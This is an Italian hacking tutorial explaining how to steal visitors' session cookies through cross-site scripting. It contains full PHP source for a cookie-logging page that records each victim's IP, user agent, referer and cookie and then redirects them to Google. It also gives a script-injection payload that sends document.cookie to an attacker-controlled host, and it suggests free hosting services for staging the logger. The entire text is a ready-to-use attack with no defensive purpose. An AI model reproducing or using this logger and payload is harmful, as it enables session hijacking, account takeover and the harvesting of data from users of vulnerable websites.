Come catturare i cookies usando XSS - Tutorial by xSsMaNx

 

Strumenti usati: Un free hosting

                            2 pagine php

                  Un sito vulnerabile

                   

Al lavoro: Prima di tutto registriamo un account. potete provare su questi siti: http://www.funpic.de ; http://www.altervista.org ; http://www.netsons.org . Dopo questo, attivazione e registrazione, Abbiamo bisogno di uppare 2 pagine sul sito appena registrato.

vb.php

<head>
<meta http-equiv="Content-Language" content="it">
<title>Cookies Stealther - Designed and programmed by R00t[ATI]</title>
</head>

<body bgcolor="#C0C0C0">

<p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<p align="left">&nbsp;</p>

</body>

 

documents.php

<?php

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");

?>

Vb.php č il file che permette di MOSTRARE i cookies che vengono catturati.

documents.php č il file che CATTURA i cookie e altre informazioni come: ip address, user agent e naturalmente i cookies

Ora dobbiamo trovare un sito vulnerabile a Cross Site Scripting (XSS). Dopo questo dobbiamo inserire nell'XSS uno script che richiama documents.php che cattura i cookies usando il metodo "c": documents.php?c="+document.cookie;

Per esempio: http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>

La vittima verrā riindirizzata verso http://www.google.com (se necessario modificalo in documents.php). e l'attaccante potrā poi vedere i cookie presi dalla vittima su vb.php